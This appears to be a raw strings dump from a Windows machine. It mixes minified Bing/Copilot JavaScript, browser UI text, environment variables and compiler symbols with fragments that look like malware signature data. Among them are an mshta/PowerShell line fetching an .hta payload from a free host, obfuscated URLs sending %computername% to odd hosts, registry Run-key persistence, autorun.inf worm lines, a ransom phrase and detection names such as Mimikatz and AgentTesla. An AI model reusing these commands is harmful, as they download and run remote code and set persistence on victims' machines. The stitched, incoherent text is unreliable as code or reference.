th=ai;n.isUncOrLocalPath=pi;n.startsWithProtocol=ut;n.startsWithWww=wi;n.isHttpProtocol=c;n.isNonHttpProtocol=bi;n.cleanAndFixUrlProtocol=ki;n.cleanAndFixUncOrLocalPath=di;n.parsedUrlToString=l;const et=/^ht+ps:\/*(.*)/i,ot=/^ht+p:\/*(.*)/i,st=/^\/{2,}(.*)/,a=/^www\.(.*)/i,nr=/^(.*[^:\/])\/+$/;n.normalizeUrl=i;n.hasWww=tr;n.getProtocol=e;n.prettyPrintUrl=ir;n.isDuplicateUrl=ur;let fr=["bing","staging-bing-int","working-bing-int","bing-int","bing-exp","binginternal"];n.tryGetBingPathLC=ht;n.isBingHost=v;n.isMsnHost=er;n.isBingSearchUrl=or;n.getCopilotLaunchUrl=sr;n.extractQueryFromBingSearchUrl=hr;n.getDomain=cr;n.isEmptyUrlPrefix=lr;n.queryLooksLikeUrl=ar;n.encodeURIComponentForWindowsProtocol=vr;n.setBingUrlLanguageAndRegion=yr;n.setUrlLang=ct;n.setUrlCC=lt;n.setUrlParameter=o}(WSB||(WSB={})),function(n){let i;(function(n){function t(t,i,r,u,f,e){let o={T:n.QFPERFPING_EVENT_NAME,ST:r,CVID:u,OFFSETS:i,STATE:f,V:n.QFPERFPING_VERSION,RFC:e};return{ImpressionGuid:t,EventType:n.CLIENTINST_EVENT_TYPE,Data:o}}n.CLIENTINST_EVENT_TYPE="ClientInst";n.QFPERFPING_EVENT_NAME="QFPerfPing";n.CLICK_EVENT_TYPE="Click";n.QFPERFPING_VERSION="2";n.QFPERFPING_INVALID_MEASURE=-2;n.INVALID_SEQUENCE_NUMBER=-2;n.KVALUE_SUGGESTIONS_START=1e3;n.KVALUE_SUFFIX_START=1;n.KVALUE_NON_SUGGESTIONS_START=100;n.KVALUE_DSB_MSB_CONTENT=2e3;n.KVALUE_MSB_DSB_SWITCH=4e4;n.KVALUE_DSB_CURRENT_DAY_CONTENT=5e4;n.KVALUE_DSB_PAST_DAYS_CONTENT=6e4;n.KVALUE_DSB_IFRAME_CONTENT=7e4;n.KVALUE_DSB_V2_CONTENT=8e4;n.KVALUE_DSB_MERGED_CONTENT=9e4;n.DEFAULT_APP_NAMESPACE="SmartSearch";n.DEFAULT_SERVICE_NAME="AutoSuggest";n.KVALUE_HIDDEN=1e5;n.DEFAULT_USER_ENGAGEMENT_CONTENT={engagementType:"",engagementSurface:""};n.createPerfPingEvent=t})(i=n.InstrumentationCommon||(n.InstrumentationCommon={}));class t{constructor(n,t,r,u){this._kValue=n;this._qsCode=t;this._handOffType=r;this._workflow=u;this._properties={};this._userEngagementContent=i.DEFAULT_USER_ENGAGEMENT_CONTENT}static createInstrumentedItem(i,r){let u;return n.config.splitWindowsDataInstrumentation?(u=new t(t.generateKValue(i,r),r),n.InstrumentationHelper.updateItemDataTypeProps(u,r)):u=new t(t.generateKValue(i),r),u}static createInstrumentedItemHandOffOverride(i,r,u){let f;return n.config.splitWindowsDataInstrumentation?(f=new t(t.generateKValue(i,r),r,u),n.InstrumentationHelper.updateItemDataTypeProps(f,r)):f=new t(t.generateKValue(i),r,u),f}static createInstrumentedItemHandOffOverrideAndQS(i,r,u,f){let e;return n.config.splitWindowsDataInstrumentation?(e=new t(t.generateKValue(i,r),r,u),n.InstrumentationHelper.updateItemDataTypeProps(e,r)):e=new t(t.generateKValue(i),r,u),e.setProperty(f,r),e}static createInstrumentedItemKvalueOverride(i,r,u,f){let e=new t(i,r,u,f);return n.config.splitWindowsDataInstrumentation&&n.InstrumentationHelper.updateItemDataTypeProps(e,r),e}static createInstrumentedItemForReformulation(i,r){let u;return n.config.splitWindowsDataInstrumentation?(u=new t(t.generateKValue(i,r),r,998),n.InstrumentationHelper.updateItemDataTypeProps(u,r)):u=new t(t.generateKValue(i),r,998),u}static createInstrumentedItemNoHandOff(i,r){let u;return n.config.splitWindowsDataInstrumentation?(u=new t(t.generateKValue(i,r),r,999),n.InstrumentationHelper.updateItemDataTypeProps(u,r)):u=new t(t.generateKValue(i),r,999),u}static getNonSuggestionInstrumentedItem(i,r,u){if(!r[i])throw new Error(`${i} not found in kvalues map`);let f=new t(r[i],i,u);return n.config.splitWindowsDataInstrumentation&&n.InstrumentationHelper.updateItemDataTypeProps(f,i),f}getKValue(){return this._kValue}getAppNS(){return t.AppNS}getLayoutKValue(){return this._kValue+"."+t.Suffix}getHValue(){return n.config.pruneImpression&&this._kValue>=i.KVALUE_HIDDEN?"ID=Hidden_"+t.AppNS+","+this.getLayoutKValue():"ID="+t.AppNS+","+this.getLayoutKValue()}getHandoffType(){return this._handOffType}getQsCode(){return this._qsCode}getWorkflow(){return this._workflow}setProperty(n,t){this._properties[n]=t}getProperties(){return Object.keys(this._properties).length>0?this._properties:undefined}static resetKValues(n){delete this._keystrokesKValues[n]}static genern
.?AVQWindowsLocalCodec@@
WindowsFormsApp40.Properties.Resources.resources
WindowsFormsApp39.Properties.Resources.resourcesBazsiex
nAntiReverseTest\AntiReversestart /b PowerShell.exe /c $process = Start-Process -FilePath-WindowStyle Hidden -PassThruS
qREG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /VR
COMPUTERNAME=WINDOWS11
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
103^com.microsoft.windows.extensionpackage
106^com.microsoft.windows.extensionpackage
108^com.microsoft.windows.extensionpackage
user-agent: mozilla/5.0 (windows;
/Microsoft Windows Third Party Component CA 2013
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
"Windows"
66^windows.appExtension
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for 
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
a de Windows para permitirlo.copilotupdateServicio actualizador de Microsoft CopilotServicio interno del actualizador de Microsoft CopilotMantiene actualizado el software de Microsoft Copilot. Si este servicio est
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're availabl/
m/windows
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
2My current credentials (Windows logon information)
 --output C:\Windows\Temp\
cd C:\Windows\Temp\ && 
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll5
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
globalFoundationUriWindowsapplyctor`
*com.microsoft.windows.extensionpackageCrossDeviceResumeE!
Pcom.microsoft.windows.e%
c:\windows\system32\
oft\windows\current
regwrite("hkey_local_machine\software\microsoft\windows\currentversion\run","explorer","reg_sz",@windowsdir&"
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
\windows\current
t version of Windows with stable and official support for XAML Islands. -->
      <!-- Windows Threshold -->
      <!-- Windows BLUE -->
      <!--The ID below indicates application support for Windows Vista --> 
      <!--The ID below indicates application support for Windows 7 --> 
      <!--The ID below indicates application support for Windows 8 --> 
"http://0j.re:8080/adbqfrncvqapotqzhzruaxudafxvijkcgd/%computername%"^u^f^q=j^h^j^gp/^qxz^epn=a^p^xkd%windir%\system32\shell32.dll
"http://0j.re:8080/adbqfrncvqapotqzh94mmr0s23xpijkcgd/%computername%"^u^f^q=j^h^j^gp/^qxz^epn=a^p^xkd%windir%\system32\shell32.dll
^$?C"http://0j.re:8080/bq/blkq/heikb/d9llo4fzhv/!computername!"r^sgeo=^uxli^ky^z^p-^qn^u^wq=o^i^q^hv!%systemroot%\system32\shell32.dll
"http://3z.nu:8080/avbmv2lxoo1s31gyprz/ccbcecshblcpchqey/c6c7/!computername!"c^t^v^f^j^w^oxu=k^r!%systemroot%\system32\shell32.dll
/vc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://taxfile.000webhostapp.com/bill-2023.hta'
XV<mshta.exel-kelv<c:\windows\system32\mshta.exe0http://a0705880.xsph.ru/intended/intended.txt/f"%systemroot%\system32\mmcndmgr.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
c:\windows\system32\explor.exec
C:\Windows\SysWOW64\svchost.exeC
C:\Windows\SysWOW64\rundll32.exeC
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
WindowsAclHelper::LogACEsImpl
WindowsAclHelper::GetACL
WindowsAclHelper::GetIndexOfDenyACEinACL
WindowsAclHelper::SetACLInSecurityInfo
WindowsAclHelper::AddDenyACEToACL
WindowsAclHelper::RemoveOldVersionDenyWriteAccessIfSet
WindowsAclHelper::GetEveryoneSID
WindowsAclHelper::InitializeAccessDeniedACE
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
del c:\super hidden>> autorun.infautorun explore.exe -h -s -r autorun.infshell\open=open >> autorun.infcopy explore.exe %windir%\system32\echo "ctfmon.cpl"="ctfmon.cmd" >> c:\.exe -h -s %windir%\system32\ctfmon.cpl.cmd!#HSTR:HackTool:Win32/Mimikatz.A.dll!dha
[all your data is encrypted$windows.~bthklm\software\microsoft\windows nt\currentversion\winlogon.blackout!#HSTR:Trojan:MSIL/AgentTesla.S30!MTB
facefoduninstaller.pdbfacefod.testutilitiesmicrosoft.windows.security.biometrics.face::getuninstalledfacefods::uninstalledfacefodscountface\fodhandler\uninstaller\face::faceadapterstelemetryloggerface::facefodtypes::tostring!#ALF:HackTool:MSIL/LunarHealth.B!dha
mozilla/5.0 (windows nt 6.1; trident/7.0; rv:11.0) like geckoreg add hkey_current_user\software\microsoft\windows\currentversion\run /vpccntmon.exe&pid=!#ALF:Trojan:BazarLdr.B!ibt
\windows\current
Microsoft.Windows.Print.SplLib
WINDOWS.GRAPHICS.HOLOGRAPHIC.HOLOGRAPHICDISPLAY
Microsoft.Windows.Ast.Rpc
Microsoft.Windows.Utc.AggregatorHost
Microsoft.Windows.Security.LUA
Microsoft.Windows.ShellExecute
GetWindowsDirectoryW
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllw
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllw
WindowsAppRuntime.pngw
WindowsAppRuntime.DeploymentExtensions.OneCore.dllw
AS/API/WindowsCorta
:System.Windows.Forms.Design.ControlDesigner, System.Design
EnableVSStylewSystem.Windows.Forms.ToolStrip, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
,DockPanel_DefaultFloatWindowSize_Description
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
wow64_windows-gaming-xbox..age-winrt-component_31bf3856ad364e35_none_b48224e7294d948e
wow64_windows-gaming-xbox..ge-client-component_31bf3856ad364e35_none_b86dbdedd7655443
wow64_windows-id-connecte..-provider-tokenprov_31bf3856ad364e35_none_927718f9d95d839a
wow64_windows-id-connecte..guration-production_31bf3856ad364e35_none_c3ee2d1b5ccbdba2
wow64_windows-id-connecte..nt-provider-activex_31bf3856ad364e35_none_ec1757a83a7ada30
wow64_windows-id-connecte..nt-provider-msidcrl_31bf3856ad364e35_none_05c2eb4ff709d5d8
wow64_windows-id-connecte..nt-provider-wlidcli_31bf3856ad364e35_none_148dfa4b0b6e8d22
wow64_windows-id-connecte..nt-provider-wlidfdp_31bf3856ad364e35_none_1441f74f0ba7b464
wow64_windows-id-connecte..nt-provider-wlidnsp_31bf3856ad364e35_none_14415d890ba856b5
EnumWindows
Microsoft.Windows.Sentinels
Microsoft.Windows.OneSettingsCommonClient
Microsoft.Windows.Networking.BFE.Rundown
Microsoft.WindowsAppSdk.MrtCore.Runtime
Microsoft.Windows.Audio.Client
WINDOWS.FOUNDATION.COLLECTIONS.VALUESET
MicrosoftWindowsFileExplorer
Microsoft.Windows.Firewall
DEFAULT$WINDOWS.DATA.DONOTDISTURB.QUIETHOURSSETTINGS
WINDOWS.DATA.DONOTDISTURB.QUIETHOURSSETTINGS
WindowsFlightingSettings
Microsoft.Windows.Utc.WatchdogProvider
Microsoft.Windows.DiskTrigger
Microsoft.Windows.CpuTrigger
Microsoft.Windows.DeviceBroker
Microsoft.Windows.Memory
Microsoft.Windows.Print.APMon
Microsoft.Windows.Print.IppMon
Microsoft.Windows.CDP.Session
Microsoft-Windows-XAML
Microsoft.Windows.Search.Indexer.Trace
Microsoft.Windows.Print.USBMon
WINDOWS.APPLICATIONMODEL.CORE.COREAPPLICATION
WINDOWS.APPLICATIONMODEL.BACKGROUND.MAINTENANCETRIGGER
Microsoft-Windows-AppModel-AppExtension
Microsoft.Windows.Defender.UpdateLogging
Microsoft.Windows.Wpr.Wprc
MICROSOFTWINDOWS.CLIENT.OOBE_CW5N1H2TXYEWY
Microsoft.Windows.CDP.Core
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTGAME
WINDOWS.APPLICATIONMODEL.BACKGROUND.SYSTEMCONDITION
WindowsConnectionManager
Microsoft.Windows.TlgAggregateInternal
?SPOCheckForBlockedDevice@@YAJAEBV?$shared_ptr@VListIdDiscovern@UStorageLibrary@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4FileUpdateStatus@Provider@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UApplicationData@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIBuffer@Streams@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UStorageFolder@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UApplicationData@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UApplicationData@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UStorageFolder@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UStorageFolder@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@W4FileUpdateStatus@Provider@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@W4FileUpdateStatus@Provider@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFile@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFile@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UStorageStreamTransaction@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UStorageStreamTransaction@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIStorageItem@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIStorageItem@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFolder@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFolder@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperonAddAccountResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@UFindAllAccountsResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@UWebAccountProvider@Credentials@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AV<lambda_1>@?7??initialize@?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_3>@?9??initialize@?$projected_async_instance@U?$IAsyncOperation@UFindAllAccountsResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_3>@?9??initialize@?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_2>@?8??initialize@?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UStorageItemThumbnail@FileProperties@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UBasicProperties@FileProperties@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageLibraryChange@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFolder@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UStorageFile@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UIStorageItem@Storage@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIStorageItem@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4KnownFoldersAccessStatus@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UStorageStreamTransaction@Storage@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
?tr@QWindowsPipeReader@@SA?AVQString@@PEBD0H@Z
?tr@QWindowsPipeWriter@@SA?AVQString@@PEBD0H@Z
?trUtf8@QWindowsPipeReader@@SA?AVQString@@PEBD0H@Z
?trUtf8@QWindowsPipeWriter@@SA?AVQString@@PEBD0H@Z
q</command><arguments>-windowstylehidden</arguments></exec></actions><principals>
\windows\system32\config\system
GetWindowsInfoResult
Microsoft.Windows.Print.LocalSpooler
Microsoft.Windows.Print.MS3DLocalSpooler
Microsoft.Windows.Print.SplLib
Microsoft.Windows.Print.PerfLib
Microsoft.Windows.Print.AsyncNotify
Microsoft.Windows.Print.Sandbox
Microsoft.Windows.Print.PrintPLM
Microsoft.Windows.Print.DevmodeSizePatch
Microsoft.Windows.Print.DeviceControl
Microsoft.Windows.Print.LocalMon
